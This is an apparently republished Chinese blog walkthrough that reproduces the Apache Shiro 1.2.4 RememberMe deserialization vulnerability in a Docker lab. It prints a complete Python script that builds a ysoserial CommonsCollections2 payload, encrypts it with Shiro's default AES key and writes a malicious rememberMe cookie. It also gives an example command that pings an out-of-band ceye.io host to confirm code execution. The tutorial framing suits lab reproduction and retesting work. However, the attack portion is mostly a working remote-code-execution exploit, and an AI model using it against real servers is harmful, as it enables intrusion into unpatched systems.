Shiro RememberMe 1.2.4 反序列化漏洞详细复现
0x00 前言今天上班的时候收到了一个复测的任务,打开一看,shiro反序列化漏洞,What?这是个什么东西,经百度查找后才知道,原来是Java的开发框架,好吧,还是没听说过。。由于初测报告上的过程过于简略(唯一有用的只有KEY),所以不得不自己研究一番了。 0x01 环境搭建
? docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
? 访问80端口即可访问漏洞环境 ? ? 0x02 工具准备1、生成payload的脚本 将下面的脚本保存至本地命名为shiro_poc.py,然后进入linux系统/tmp目录下(如想使用其他KEY,替换脚本中的即可) 不要使用vi/vim命令创建文件再粘贴过去,粘贴会破坏代码的布局格式 命令行输入rz回车,就会跳出文件上传的页面(如果报错,pip安装一下),选择文件上传即可 # pip install pycrypto import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen([‘java‘,‘-jar‘,‘ysoserial-0.0.5-SNAPSHOT-all.jar‘,‘CommonsCollections2‘,command],stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key),mode,iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == ‘__main__‘: payload = encode_rememberme(sys.argv[1]) with open("/tmp/payload.cookie","w") as fpw: print("rememberMe={}".format(payload.decode()),file=fpw) ? 2、安装模块 脚本使用的是python3,安装模块时要使用pip3 install 模块名 其中有一个模块需要强调,就是安装pycrypto,用来解决报错No module named Crypto.Cipher pip install pycrypto 3、ysoserial的jar文件 依次执行以下命令(jar的文件名要和脚本中的一样,文件要和脚本在同一目录下) git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
0x03 复现过程在脚本后面输入你想要执行的命令,例: python3 shiro_poc.py "ping fkl2af.ceye.io" 然后便会在脚本所在目录下生成文件payload.cookie ? 浏览器打开漏洞环境并登陆进去,点击account page抓包 ? 用payload.cookie中内容替换Cookie中的全部内容,Go ? 到ceye平台查看即可到流量记录 最后感谢达哥和豪哥的帮助,让我顺利完成复测 如想学习更多漏洞复现,欢迎关注公众号Timeline Sec ? 参考链接: https://paper.seebug.org/shiro-rememberme-1-2-4/ (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |